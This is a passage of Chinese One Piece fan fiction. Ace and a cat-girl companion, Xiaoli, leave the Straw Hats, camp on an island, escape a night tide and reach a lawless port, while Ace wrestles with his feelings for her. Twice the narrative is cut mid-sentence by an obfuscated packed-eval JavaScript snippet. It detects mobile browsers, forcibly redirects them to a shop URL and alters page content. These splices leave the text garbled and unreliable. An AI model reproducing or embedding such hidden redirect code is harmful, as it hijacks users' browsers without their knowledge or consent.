蝎子男那场短暂得近乎荒谬的冲突,连同那场裹挟着亲情、谎言与暴力的沙暴一起,被沙漠永恒的风缓缓抚平、掩埋,最终只成为漫长旅途中一个不甚清晰的注脚。艾斯站在原地,看着那个刚刚还凶神恶煞、此刻却抱着瘦弱儿子哭得浑身颤抖、语无伦次的男人。那哭声中充满了后怕、悔恨,以及劫后余生般庞大而笨拙的爱。 艾斯没有催促,也没有离开。他只是安静地看着。帽檐在他脸上投下小片阴影,让人看不清他眼中全部的情绪,但那微微抿紧的唇角,和一瞬间掠过眸底的、如同深潭被石子惊动的微澜,泄露了他并非无动于衷。那里面有对纯粹父爱本能的一丝动容,却又不自觉的想起了那个名义上的父亲,使他感到了一丝愤怒,这沙漠,这人生,有时荒诞得令人无言。 然而,这场意外冲突带来的最大“收获”,却是希望的彻底落空。从蝎子男语无伦次的交代中,那所谓的“击败黑胡子”的惊天消息,不过是为了在沙漠边缘的灰色地带扬名立万而肆意吹嘘的拙劣谎言。追寻“黑胡子”马歇尔·D·蒂奇的确切踪迹,这条本就渺茫的线,再次于这片广袤无情的沙海中央,彻底断掉了。 灼热的阳光一如既往地炙烤着沙丘,将艾斯挺立的身影拉成一道笔直而沉默的剪影。他抬手,用力压了压帽檐,这个动作似乎能将某种无形的重量也一并压下。目标再次消失,他仿佛一艘骤然失去航标的船,虽然动力依旧充沛,却一时不知该驶向何方。 继续留在阿拉巴斯坦的理由,似乎也随之变得稀薄。尽管内心深处,作为兄长的那根弦依旧为弟弟路飞即将面对的强敌——那个盘踞在这片干旱国度阴影里的“王下七武海”克洛克达尔——而微微紧绷。但这一路同行,他亲眼见证了路飞的蜕变,不仅仅是战斗能力的提升,更是一种难以言喻的、如同磁石般将不同灵魂紧密吸附的凝聚力。那些伙伴望向路飞的眼神,无论是吐槽、无奈还是担忧,底下奔涌的都是毫无保留的信任与追随。这种羁绊,本身就是最强大的力量。 “他已经是个能独当一面的男子汉了,那是他自己的路,我不能替他走完。” 艾斯轻声对自己说,声音低得近乎呢喃,消散在干燥的热风中。似乎是说服了自己那过度的操心,他嘴角不自觉地向上扬起,那是一个混合了无尽骄傲与终于可以稍稍放手的释然弧度。雏鹰总要离巢,独自面对天际的风暴。有些战斗,有些道路,必须由他亲自去闯,去征服。过度的保护,反而是折损他羽翼的负担。 况且……他目光微垂,落在身边那个正用手徒劳地对着脸颊扇风、小脸被蒸得通红、连那对灵敏的黑色猫耳和那条总是表达情绪的长尾巴都无精打采蔫蔫垂着的少女身上。这只习惯了湿润空气的小猫,显然被沙漠这极端干燥与昼夜温差的酷烈折磨得够呛。白日里躲他像躲火炉,夜里又恨不得变成他身上的挂件。继续在这能把人烤干又冻僵的沙海里跋涉,对她而言只是徒增辛苦,甚至可能损害健康。 是时候告别了。 正式的辞别,煽情的场面,不符合艾斯的作风,也容易让那群家伙陷入不必要的离愁别绪。就像他们最初如同两颗燃烧的流星般闯入梅利号的生活一样,离开,也最好在寂静的黎明,带着一点潇洒的余韵。 晨光熹微,沙漠的寒意尚未完全褪去,营地笼罩在一片安详的熟睡气息中。路飞四仰八叉地躺在沙地上,嘴巴微微张开,睡得毫无形象,偶尔咂咂嘴,嘟囔一句“肉……”。索隆抱着刀,靠着行李发出均匀的鼾声;山治即使在睡梦中,眉毛也似乎维持着某种优雅的弧度;乌索普和乔巴蜷在一起,像两只依偎取暖的小动物;娜美和薇薇也裹着毯子,沉浸在疲惫的深眠里。 艾斯和小狸已经悄无声息地收拾好了简单的行囊。动作轻得像掠过沙地的风。艾斯走到弟弟身边,蹲下身,静静看了那张傻乎乎的睡颜几秒。他伸出手,似乎想像小时候那样揉乱他的头发,最终却只是极轻地、用指节碰了碰路飞沾着沙粒的脸颊,眼底的笑意温柔得像此刻天际将明未明的微光。 他将一封信轻轻压在一块显眼的石头下。信很短,只有潦草几行,是艾斯特有的担忧语气: 路飞: 我和小狸先走一步,新世界再见。 另外,这张纸你收好,不要弄丢了,它会指引我们再次相遇的 我再说一次,笨蛋,收好 ——艾斯 做完这一切,他站起身,最后环顾了一眼这片承载了短暂同行与珍贵回忆的营地,目光在每一个熟睡的伙伴脸上停留一瞬。然后,他牵起小狸微凉的手。小狸仰头看他,蓝色的眼眸在晨光中清澈见底,没有丝毫对离别的不安,只有全然的信任与跟随。两个人趁着太阳还没完全升起,在沙海里前行 “艾斯,艾斯,那个是什么?” “什么?哈哈,你说那张纸嘛?生命卡” 艾斯给她讲了讲什么是生命卡,讲到了和之国那个不打不相识的大和 “那为什么不给我!?”小猫气鼓鼓“路飞君都有份的。” 艾斯用力揉了揉她的头,把她的头都摁的沉了沉 “因为路飞是笨蛋,你也是笨蛋么~” “你才是笨蛋呢!” 小猫抓住他的手想把自己的脑袋救了出来,艾斯坏笑着,看着小猫挣扎的样子故意不松手,看着她徒劳无功的扭来扭去,被小猫报复性的咬了一口,却没有回答她的问题,毕竟,他可不会让她离开他的身边,生命卡这种东西,大概永远也用不上吧 两人的身影,如同被沙漠上升的热浪悄然融化,摇晃着没入那片逐渐被染成金色的、起伏的地平线。没有回头,没有挥手。因为在这片连接一切、又分离一切的无垠大海上,重逢,本就是最浪漫的事。 --- 当脚下灼热粗糙的沙粒被湿润坚实的木质甲板替代,当干燥窒息的热风被咸腥清凉的海风彻底取代,当无垠刺目的金黄被辽阔柔和的蔚蓝全面拥抱,小狸几乎忍不住想要欢呼出声。她趴在火焰小艇的船舷边,深深吸了一口气,让那熟悉又令人安心的海洋气息充满肺叶,感觉连被沙漠蒸干的每一个毛孔都在重新舒展。 艾斯站在艇尾,操控着火焰的喷射力度,让小艇平稳地滑行在波光粼粼的海面上。这艘为他量身打造、速度惊人的小艇,对于两个人而言,空间确实显得有些捉襟见肘。座位狭窄,小狸平时几乎是大半个身子都靠在艾斯怀里,后背紧贴着他坚实温暖的胸膛,几乎没有缝隙。 但对此,小狸本人不仅没有丝毫介意,反而开心得尾巴尖都在轻轻摇晃,耳朵也惬意地竖着,捕捉着风与浪的和鸣。她喜欢这种紧密无间的距离,近乎零隔阂的接触带来无与伦比的安全感。她能清晰感受到背后传来的、艾斯稳定而有力的心跳,透过薄薄的衣料传递过来的体温像一张温暖的毯子将她包裹。海风拂面时,总会捎来他身上那种独特的、如同烈日晒过干燥木材般清爽又温暖的气息,让她忍不住眯起眼睛,像只真正晒到太阳的猫咪。 她甚至总会悄悄调整了一下姿势,让自己靠得更妥帖舒适,几乎将全身重量都放松地交付给他,然后满足地呼呼大睡。 由于黑胡子线索的意外中断,并且萨奇安然无恙,那柄一直悬在艾斯心头的、名为“追捕”的利剑暂时得以归鞘,行程中也便自然而然地多了一份久违的、近乎奢侈的闲适。他们并没有设定明确的目的地,也没有急于赶路,更像是一场随心所欲的海上漫游,追逐着风的方向与好奇心的指引。 途中经过一些风格各异的小岛或热闹的港口小镇时,艾斯会减缓船速,带着小狸上去逛逛。他牵着她穿梭在熙攘的市集,给她买各种没见过的、奇形怪状但据说味道不错的当地零食——有时是裹着糖霜的昆虫串,逗弄般的看小猫抗拒的眼神哈哈大笑,有时是颜色诡异却清甜多汁的奇怪水果,看着她每样东西都要先小心地嗅嗅,然后才带着一点冒险精神尝试,表情随着味道变幻莫测,有趣极了。 夕阳西下,是一天中最温柔的时刻。他们选择了一个看起来宁静优美、有着洁白沙滩和婆娑椰林的无人小岛停靠。火焰小艇静静泊在浅湾。艾斯动作麻利地收集干枯的椰棕和漂流木,堆起一个柴堆。无需火柴,他屈指一弹,一簇活泼的火苗跃出,准确点燃了干燥的引火物。篝火“噼啪”燃起,橘红色的光芒驱散渐浓的暮色,也照亮了小狸被海风和夕阳染上红晕的脸颊。 他拿出白天在某个小镇买的、用油纸包好的食物——某种夹着烤肉和奇怪酱汁的面饼,就着篝火简单加热。油脂滴落火中,激起更诱人的香气。两人就并肩坐在尚存白日余温的柔软沙子上,分享着这顿并不丰盛、却因环境与陪伴而显得格外美味的露天晚餐。远处,巨大的落日正缓缓沉入海平线,将天空和海洋渲染成一片辉煌又静谧的橙红、紫粉与金黄的渐变画卷。 “我们之后要去哪里啊?”小狸一边小口咬着面饼,一边试图用闲聊转移艾斯的注意力。同时,她纤细的手指正悄无声息地将自己那份食物里夹着的、煮得软烂却让她不太喜欢的橘红色沙漠萝卜块,以极其隐蔽的动作,飞快地拨拉到艾斯的食物里。 艾斯眼角的余光早已瞥见那点小动作,却装作毫无察觉,只是嘴角勾起一丝几乎难以捕捉的笑意。他很自然地将那些“多出来”的萝卜块连同自己的食物一起塞进嘴里。咽下后,他才望着跳跃的篝火,语气轻松地回答:“先在这附近的海域转转,顺便打听打听消息吧。黑胡子那家伙,之前闹出那么大的动静,就算是为了混淆视听,也应该会留下点别的痕迹。总不至于一点有用的风声都没有。” 小狸“哦”了一声,用脚尖无意识地拨弄着脚下细白温热的沙子,显得有些心不在焉。篝火的光芒在她蔚蓝的猫瞳里跳跃,却似乎映照出一些更遥远的东西。 “怎么了?”艾斯敏锐地察觉到她的情绪变化,侧过头看她 小狸摇摇头,沉默了几秒,才抬起眼,望着艾斯,眼神里有一种清晰的、柔软的眷恋,轻声说:“……明明离开并没有多久,可是……我感觉,好想念莫比迪克号。” 想念萨奇大叔掂着大勺、在厨房里吼着“开饭了!”的洪亮嗓门;想念马尔科先生推着眼镜、一脸无奈说着“呀嘞呀嘞”的慵懒模样;想念比斯塔炫耀他精心打理的胡子;想念乔兹师傅沉默却可靠的巨大身影;想念米娅姐姐温暖的拥抱和香喷喷的洗发水味道;想念甲板上永不停歇的喧闹宴会,想念老爹那如同定海神针般巍峨又慈祥的笑容,甚至想念柯达兹那毛茸茸、暖呼呼蹭过来的大脑袋…… 艾斯微微一怔,随即,一种深切的共鸣与温柔的笑意同时在他眼中漾开。他伸出手,温暖的手掌揉了揉小狸柔软的发顶,动作带着无尽的包容与理解。 “在这附近转一圈,”他声音笃定,像是在做一个郑重的承诺,“如果还是没有黑胡子的确切消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941756|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,我们就回家。” “回家”这两个字,从他口中吐出,带着沉甸甸的分量和无与伦比的温暖。 “嗯!”小狸的眼睛瞬间亮了起来,像被点燃的星辰。那点淡淡的思念立刻被雀跃的期待所取代。她开始兴致勃勃地掰着手指头数:“回家要吃萨奇先生做的小饼干!要加很多很多坚果和葡萄干的那种!还有他特制的烤鱼排!要去帮马尔科先生整理药材库,这次我一定不会把止血草和安神草搞混了!还要听以藏先生讲和之国的故事!还有……” 她忽然想起什么,眼睛睁得圆圆的,看向艾斯,带着点撒娇和期待的意味:“对了,哥哥!我还想要一只电话虫!” “哈哈,好啊。”艾斯被她感染,笑容更加灿烂,“等回去了,我就帮你改一只。想要什么样子的?” “要小小的一只!”小狸用手比划着,大约只有她掌心大小,眼睛偷偷瞟向艾斯的帽子“颜色……要橘色的!贝壳上要画爪印!可以装进我的小包包里带着走!”她开始认真地思考起饲养问题,眉头微微蹙起,显得格外可爱,“电话虫要吃什么呀?吃面包吗?还是吃草?我可以把我的零食分给它!每天分一点点!” 看着她认真规划着“未来电话虫”的饲养大业,艾斯忍不住笑出声,只觉得连日的奔波和失去线索的些微阴霾,都被她这纯真温暖的期待冲刷得干干净净。 --- 夜幕彻底降临,篝火的光芒变得更加明亮而温暖,成为这片宁静海滩上唯一的光源。吃饱喝足,倦意伴随着海潮轻柔的节奏悄悄袭来。两人并没有急着回小艇,而是就着篝火的余温和沙滩的柔软,并排躺了下来。 身下的细沙依然残留着白日阳光亲吻过的温度,熨帖着背部。眼前,是毫无遮挡的、浩瀚无垠的星空。远离了陆地的灯火与人烟,这里的星空纯净得令人屏息。银河像一条流淌着碎钻的光带横贯天际,无数繁星密密麻麻,有的明亮如钻石,有的微弱如尘沙,共同织就了一幅壮丽到令人心生敬畏的穹顶画卷。海涛声是永恒的、轻柔的背景音,规律地拍打着不远处的海岸,如同大自然最舒缓的催眠曲。 已经很久没有像这样,只有他们两个人,安安静静地待在一起,什么也不做,只是看着天空,听着海浪。没有莫比迪克号上永不停歇的喧闹宴会,没有草帽团充满活力的吵嚷打闹,没有沙漠中步步惊心的跋涉与战斗。这份纯粹的、包裹在星光与涛声里的宁静,显得格外珍贵。 小狸变回了猫形。娇小轻盈的黑色身影在艾斯颈窝处寻了个最舒服的位置,蜷缩起来,将自己团成一团温暖柔软的毛球。她喉咙里发出细微而绵长的、代表极致满足与安宁的呼噜声,在这寂静的夜里格外清晰。 艾斯一只手垫在脑后,另一只手则极其自然地、有一下没一下地轻抚着小狸背上光滑如丝绸的皮毛。指尖陷入柔软细密的绒毛,感受着她小巧身体随着呼吸微微的起伏,和那令人放松的震动频率。 “好久没有这样看星星了。”艾斯的声音在宁静的夜里显得格外低沉、柔和,像大提琴最舒缓的弦音,混在海浪声里,“和大家在一起的时候,虽然总是很热闹,很开心,篝火晚会能闹到天亮……”他顿了顿,指尖无意识地绕着小狸的一缕绒毛,“但偶尔像现在这样,安安静静的,好像也不错。” “嗯~”小狸用毛茸茸的脑袋蹭了蹭他的下巴,柔软的耳朵扫过他的皮肤,带来细微的痒意。这是她的赞同。对她而言,世界的喧嚣或宁静并非关键。只要有艾斯在的地方,无论是莫比迪克号人声鼎沸、烤肉飘香的甲板,还是这无人海岛只有篝火噼啪与海浪低吟的沙滩,都是最好的归宿。 他们有一搭没一搭地聊着天,话题散漫得像天上飘过的云。说起今天在那个小镇看到的、长得像拖鞋又会喷水的奇怪鱼类;回味某个岛屿鲜榨果汁异常清甜的滋味;甚至计划着回去后要给小狸的“未来电话虫”装个什么样的听筒…… 声音渐渐低下去,话语之间的间隔越来越长,更多的是享受着这份无需刻意寻找话题、仅仅陪伴在彼此身边的静谧与安然。言语有时反而显得多余,心跳、呼吸、指尖的温度、触感、共同仰望的星空……这些无声的交流,已足够填满所有的空隙。 艾斯闭上了眼睛。连日来在沙漠中跋涉的疲惫,线索中断带来的隐约焦躁,以及更深层、关于身世与使命的纷繁思绪,都在这片无人打扰的星空下,在海浪永恒的吟唱中,在身边这小小一团温暖、安稳的依赖里,被神奇地抚平、涤荡。一种久违的、近乎慵懒的放松感浸透四肢百骸。海风带着微咸的凉意,却吹不散两人之间那份无形的、紧密相连的暖意。 小狸在他颈窝里轻轻动了动,换了个更沉的姿势,呼噜声变得更加平稳悠长。她偷偷睁开那双在黑暗中如同最上等蓝宝石般幽幽发光的猫瞳,望着艾斯在星光与篝火余烬微光交织下,显得格外柔和放松的睡颜。他额前总是翘起的黑发此刻温顺地贴着皮肤,长长的睫毛在眼睑下投出浅浅的阴影,嘴角那抹习惯性上扬的弧度,即使睡着也未曾完全消失。 一种饱胀的、甜丝丝的幸福,像最轻柔的潮水,将她整颗心都浸得酥软。她轻轻地将爪子更贴近他的皮肤,感受那份令人安心的温度,然后在心里悄悄地说: 最喜欢你了…… 她在心底默默补充了那个早已刻入灵魂的称呼,带着无尽的眷恋与归属感: ……艾斯哥哥~ 30. 海潮与心潮 潮水是悄悄漫上来的。 起初只是远处传来一种低沉的、持续不断的嗡鸣。然后,细碎的白浪开始轻轻舔舐浅滩边缘的沙砾,发出“沙沙”的、蚕食般的微响。艾斯是在一阵突如其来的湿冷中惊醒的——不是声音,而是触感。一股冰凉的海水正悄无声息地浸透了他身下薄薄的铺盖边缘,带着咸涩的气息和夜半海水的刺骨寒意。 他猛地睁开眼睛,瞳孔在黑暗中迅速适应。首先映入眼帘的,是面前那堆篝火最后的挣扎——橘红色的火焰原本还在安稳地跳动,此刻却随着“嗤——”的一声短促而剧烈的嘶鸣响起,伴随大量白色蒸汽猛地炸开火焰瞬间被熄灭,只留下几缕扭曲的青烟,迅速被海风吹散。黑暗与潮湿同时降临。 “嘶!”艾斯吸了一口气,动作却比思维更快。几乎是条件反射,他腰腹发力,一个利落的翻身从浸湿的铺盖上弹起,赤脚踩进已经漫过脚踝的冰凉海水里。月光黯淡,但足以看清形势——潮水上涨的速度比他预想的要快,他们扎营的这片浅滩高地,眼看就要被吞没。 没有时间犹豫。他迅速转身,目光精准地投向身边,借着稀薄的月光和残存的星光,他看到那一小团蜷缩在干燥沙地上的黑色毛球。小狸睡得正沉,完全没被潮水的骚动惊扰。她将自己团得紧紧的,黑色的长尾巴绕过来盖住鼻子,只有耳朵尖随着呼吸轻轻颤动,整个身体随着平稳的呼吸微微起伏,像一个安静的、毛茸茸的句号。 艾斯的心没来由地软了一下,但手上的动作却毫不迟疑。时间紧任务重,他快速的把行李打包,身下的垫子简单系了个结就甩上肩后,这才俯下身,一只手托住小猫柔软的腹部和蜷缩的前肢,把她夹在了肘窝里。“小狸,醒醒,我们得走了。” 睡梦中的小黑猫只是含糊地“呜”了一声,喉咙里发出被惊扰的不满咕噜,眼睛都没睁开,四只爪子无力的垂着,变成了长长的一条猫,轻轻抓握了一下虚空。艾斯无奈的将她整个捞起,让她趴伏在臂弯里。她的身体温热而放松,带着沉睡生物特有的沉甸甸的信任感,小脑袋歪靠在他的颈侧,细软的绒毛蹭着他的皮肤,带来细微的痒意。 “真能睡。”他无奈地低笑一声,然后转身,目光锁定停泊在稍远处、尚未被潮水完全冲走的那艘火焰小艇——“前锋号”。他迈开步子,赤脚踩过越来越深的冰凉海水,水花随着他的步伐“哗啦”溅起,在月光下闪烁细碎的银光。 几步冲到小艇边,他先将肩上的小猫更稳妥地揽住,然后单手用力一撑船舷,肌肉绷紧,一个干脆利落的纵跃,带着一人一猫稳稳落进小艇中央。小艇随着他的重量轻轻晃动了一下,船底与水面发出轻微的“砰”声。 艾斯这才松了口气,在狭小的驾驶位坐下。他小心地将依旧睡得人事不省的小黑猫从肩上取下,放在自己并拢的腿上。她似乎终于被这一连串的移动和引擎的低鸣稍微打扰,在他腿上不安地扭动了一下,换了个姿势,将脸埋进他腹部衣服的褶皱里,尾巴无意识地甩了甩,搭在他的膝盖侧面,然后又不动了,呼吸很快再次变得均匀悠长。 “……”艾斯看着她这副天塌下来也能继续睡的模样,有些哭笑不得。 前锋号发出一声轻微的、如同叹息般的嗡鸣,开始平稳地滑出浅滩,驶向开阔的海面。船尾的火焰稳定燃烧,向后喷射出两道橘红色的、柔和的光流,在海面上犁开一道清晰的、粼粼发光的V型轨迹。那光痕短暂而绚丽,随着船的前行不断生成又不断被黑暗吞没。 彻底驶入平静的深水区,远离了潮水喧嚣的浅滩,世界骤然变得无比空旷和宁静。引擎稳定低鸣,成为背景里唯一规律的白噪音。夜风从侧面吹来,带着深海特有的、干净而凛冽的咸涩气息,吹拂起艾斯额前黑色的碎发,也轻轻掀动小狸身上细软的绒毛。她耳朵尖敏感地抖动了一下,但没有醒。头顶,无垠的夜空像一块深蓝色的天鹅绒幕布,上面撒着无数细碎的钻石,银河淡淡地横跨天际,静谧而壮丽。月光不如之前明亮,呈现出一种朦胧的清辉,淡淡地洒在一人一猫身上,给艾斯挺拔的侧影和小狸团成球的身体轮廓镶上了一层柔和的银边。 在这片广袤无垠的宁静中,时间的流速似乎都变得缓慢而黏稠。艾斯的手无意识地、有一下没一下地轻抚着腿上熟睡的小猫。他的手指穿过她背上光滑如缎的皮毛,感受着那底下细小的骨架和温热的体温。指腹偶尔蹭过她的耳根或下巴——那是猫科动物喜欢被抚摸的地方——即使在沉睡中,她喉咙里也会溢出更响一些的、满足的咕噜声,身体更加放松地摊开,像一块融化在他腿上的黑色暖玉。 这份温暖、这份重量、这份毫无保留的依偎,像一把温柔的钥匙,悄然打开了他记忆与情感的闸门。在这片独属于他和她的静谧时空里,艾斯的思绪不受控制地飘远,原来不知从何时起,他的目光追寻她的时间越来越长。 他会因为她被其他伙伴围住逗弄、发出开心笑声时,感到一种微妙的、被隔离在外的淡淡寂寞,会下意识地走过去,看似随意地加入,实则想将她重新圈回自己的视线范围。他会因为她一个依赖的眼神,一个纯粹开心的笑容,而心情变得无比晴朗,仿佛阳光穿透云层,直接洒在心尖上。他会忍不住想搜罗一切他觉得好的东西给她——好吃的、好玩的、漂亮的贝壳、柔软的布料——只想满足她每一个小心愿,守护她脸上那份越来越常见、越来越放松的笑意。 他贪恋她毫无保留的信任,就像此刻她毫无防备地睡在他腿上。他喜欢她偶尔流露出的小任性、小脾气,因为这些情绪,只会在感到绝对安全和被爱时,才会向她真正在乎的人展露。这说明她正在卸下所有盔甲,正在真正地“活着”,而不仅仅是“生存”。 艾斯的手指无意识地停留在小黑猫的耳后,那里绒毛格外细软温暖。他清楚地知道,自己对她的感情,早已像藤蔓般悄然生长,缠绕心脏,深植血脉,远远超出了最初“报恩”或“负责”的简单范畴,也似乎模糊了“兄长”这个词所能定义的边界。那是一种更复杂、更深沉的东西——是想要永远将她护在自己羽翼之下,为她挡开所有风雨、抹去所有阴霾的强烈保护欲;是看到她笑就觉得世界明亮、看到她难过就恨不得替她承受所有痛苦的深切怜惜;是只要她在身边,哪怕什么都不做,内心也会被一种安宁而满足的暖流填满的奇妙平静。她是他的责任,是他的牵挂,是他冰冷血统与燃烧宿命之外,一片意想不到的、柔软而珍贵的绿洲。 但是…… 艾斯的目光从她安睡的脸上移开,投向漆黑无垠的海面,眼神深处掠过一丝几乎无法捕捉的暗影。 他是波特卡斯·D·艾斯。是“海贼王”哥尔·D·罗杰留下的、被无数人诅咒和期待其消亡的血脉。他的出生本身就被视为一种罪恶,他的悬赏金背后是海军乃至世界政府冰冷的杀意。他的未来注定与火焰、战斗和巨大的危险同行,是一条燃烧的、未必能看到尽头的荆棘之路。他自己可以义无反顾地踏上这条路,为了老爹,为了伙伴,为了自己的信念。可是她呢? 他怎么能……怎么敢将这份日益清晰、滚烫灼人的情感,明确地赋予一个名字,然后自私地把她更深地卷入自己这动荡不安、危机四伏的命运漩涡?她现在有老爹,有莫比迪克号这个家,有大家的宠爱。作为“妹妹”,他可以用生命去保护她,可以名正言顺地把她留在相对安全的羽翼之下。可如果跨过那条线……如果他承认那份悸动不仅仅是兄长对妹妹的疼爱……那是否意味着,他将可能带给她的,除了温暖,还有与之等量甚至更甚的、因为他而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941757|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招致的危险与痛苦?就像,他的母亲…… 他不能冒这个险。至少,现在不能。他固执地,或许也是下意识地,用力将所有翻腾的情感按压回“兄长”的框架之内。用责任包裹温柔,用保护欲解释心跳,用“她还小”、“她需要的是安稳”这样的理由来说服自己。能像现在这样,作为她心中最重要、最依赖的“艾斯哥哥”,守护在她身边,给予她一个家、一份安宁,似乎已经是命运对他最大的仁慈,是他能为自己争取到的最好的安排。 他在心里一遍遍重复,试图让这个念头生根。 腿上的小黑猫在睡梦中又动了一下,似乎梦到了什么,喉咙里发出一连串更急促、更满足的细小咕噜声,像煮沸的牛奶。她蜷缩的爪子无意识地张开又收拢,轻轻踩了踩他的腿,那被称为“踩奶”的本能动作,充满了全然的信任和愉悦。然后,她那条一直搭在他膝盖上的黑色长尾巴,尾巴尖灵巧地一卷,柔软地、紧紧地缠绕住了他的手腕,像一个无声的、温热的镣铐,用爱锁住了她唯一的囚徒。 艾斯低下头,月光此刻恰好挣脱云层,清辉如洗,将她笼罩。她漆黑的皮毛在月光下流淌着幽暗的光泽,每一根绒毛都显得清晰而柔软。她睡得那么沉,小小的胸脯规律起伏,胡须偶尔随着呼吸轻颤。看着这张毫无防备的睡颜,他胸腔里所有那些关于责任、关于危险、关于自我约束的坚硬壁垒,仿佛瞬间被这极致静谧的画面融化了一角。眼神是自己都未曾察觉的、冰雪初融般的温柔,几乎要滴出水来。他忍不住伸出食指,用指背上最柔软的皮肤,极其小心地、像触碰最易碎的晨露般,轻轻蹭了蹭她脸颊边那簇特别细软的绒毛。 “笨蛋……”他低声呢喃,声音被海风吹散,轻得如同叹息,又重得仿佛承诺,“以后……真的不要再独自冒险了……” 他顿了顿,指尖流连在她温暖的皮毛上,后面的话更像是说给自己听,带着一种无奈的、认命般的柔软,“只要待在我身边就好。我会……保护好你的。” 然而,心底那份被理智强行压制、却随着每一次呼吸、每一次凝视而悄然滋长、日益清晰滚烫的悸动,却像这艘小艇下方深不可测的海水。表面平静,映照着星空月色,内里却潜藏着汹涌的暗流与未知的深度,无声地冲刷着他自以为坚固的心防。它无法被真正忽视,无法被彻底说服,只是在等待,或许是一个契机,或许是一次无法回避的直面回答。 他抬起头,不再纠结于内心的纷乱,将目光投向更远的地方。海天相接之处,墨色渐浓,繁星却愈发璀璨,注视着这片浩瀚海洋上每一个航行者的命运。未来的路还很长,黑胡子蒂奇那个叛徒的踪迹必须找到,那份伤害伙伴、背叛老爹的罪孽必须清算。白胡子海贼团的荣耀、家人的安宁,需要他用火焰和拳头去守护……这些是他背负的宿命,他不会逃避。 但现在,此刻,在这片被星空与海水包裹的、仿佛与世隔绝的静谧里,他掌着这艘小小的火焰之舟,腿上是全世界最温暖、最柔软的重量。他守护着这份沉甸甸的、穿越了两个世界、历经孤独与泪水才抵达他掌心的温暖,如同守护着夜空中最明亮纯净的那颗星。 至少,在下一个喧嚣的港口到来之前,在黎明的曙光彻底划破黑暗、将一切隐秘情感暴露在日光之下之前—— 这份只属于他和她的、漂浮于无尽深蓝之上的静谧时光,这份混杂着海风气息、引擎低鸣、猫咪呼噜和他自己复杂心事的独特交响,将会持续下去。而那份朦胧却坚韧的情感,也将在心底最柔软、最隐蔽的角落,继续它无法阻挡的、静默的生长。如同深海里缓慢形成珍珠的砂砾,等待着或许有一天,能积蓄足够的光芒与力量,冲破所有自设的、或命运赋予的厚重蚌壳,真正地、毫无保留地,沐浴在阳光与海风之下。 31. 涟漪 前锋号靠岸时,天色已经彻底沉了下来,但螺贝岛的“热闹”才刚刚开始。正如艾斯所料,这座小型中转站岛屿的氛围糟糕得让人想立刻调头离开。 码头像是被各种奇形怪状的海船塞满了的破旧鱼篓,拥挤而杂乱。腐朽的木制栈桥在脚下发出不堪重负的呻吟,空气中弥漫着复杂的、令人不悦的气味基底——浓烈到发馊的劣质朗姆酒味、新鲜与腐败交织的鱼腥、汗水在脏污衣物上发酵的酸臭、还有劣质烟草燃烧后的刺鼻烟雾,所有这些气息被潮湿的海风搅拌在一起,形成一种独属于无法之地的、粗粝而危险的味道。 街道狭窄而泥泞,两旁歪斜的建筑像喝醉的酒鬼相互倚靠。窗户大多紧闭,厚厚的窗帘后面偶尔闪过警惕窥视的眼睛,那是本地居民在混乱中求生的沉默姿态。更多的则是肆无忌惮穿梭其间的海贼——他们三五成群,嗓门大得能震落墙灰,言语粗鄙,醉眼朦胧。争吵随时可能爆发,金属碰撞的脆响和拳拳到肉的闷哼不时从某个阴暗角落传来。一个被扔出酒馆的壮汉直接滚到他们脚边,哼哼唧唧半天爬不起来。 艾斯的眉头从踏上码头那一刻起就没松开过。帽檐被他下意识地压得更低,遮住了大半张脸,只露出线条紧绷的下颌。他本能地想要立刻离开,回到那片虽然空旷却干净自由的海上。但肩膀上的背包已经轻得可怜,水壶也几乎见底,前锋号虽然神奇,却也无法凭空变出食物和淡水。他默默估算了一下抵达下一个正规补给岛屿所需的航程和剩余物资,最终只能从胸腔深处挤出一声无奈而轻微的叹息。 “跟紧我,小狸。”他没有回头,声音压得很低,带着不容置疑的严肃。手却向后伸去,精准地握住了女孩微凉的手腕,将她轻轻一带,护在自己身侧靠近墙壁的一边。他的手掌宽大温热,完全包裹住她的手腕,形成一种无声的屏障。“这里很乱,别东张西望。” 小狸被他牵着,亦步亦趋。她能感觉到艾斯周身散发出的、与平日截然不同的紧绷感,像一张拉满的弓。好奇的蓝色猫瞳飞快地扫过周围光怪陆离的景象,那些醉汉、血迹、肮脏的涂鸦,让她想起了锈带某些更混乱的区域,但这里的空气中似乎多了一种……诡异的熟悉感,不过这可不是什么好事。她下意识地往艾斯身边靠了靠,尾巴不再悠闲晃动,而是有些警惕地垂在身后,耳朵也微微转向后方,捕捉着任何可能靠近的危险动静。 他们的目的地是码头附近看起来最大、灯火也最通明的一栋建筑——一块被油烟熏得发黑的木招牌在风中晃动,上面画着一个粗糙的酒杯图案,下面用歪扭的字写着“玛姬的烈酒与热汤”。推开那扇吱呀作响、仿佛随时会散架的木门,一股更加浓郁、几乎化为实质的热浪混合着声浪轰然扑面。 门内是另一个世界。昏暗的、泛黄的煤气灯光勉强照亮烟雾缭绕的大堂,空气稠密得仿佛能拧出酒液。几乎每一张粗木桌子周围都挤满了形形色色的海贼,他们衣着各异,肤色不同,唯一的共同点是脸上都带着刀口舔血生涯留下的粗野和醉意。猜拳的吼叫声、吹嘘冒险经历的沙哑嗓音、酒杯重重碰撞的脆响、女招待尖利的娇笑……所有声音混杂在一起,形成持续不断的、令人头皮发麻的喧嚣背景音。 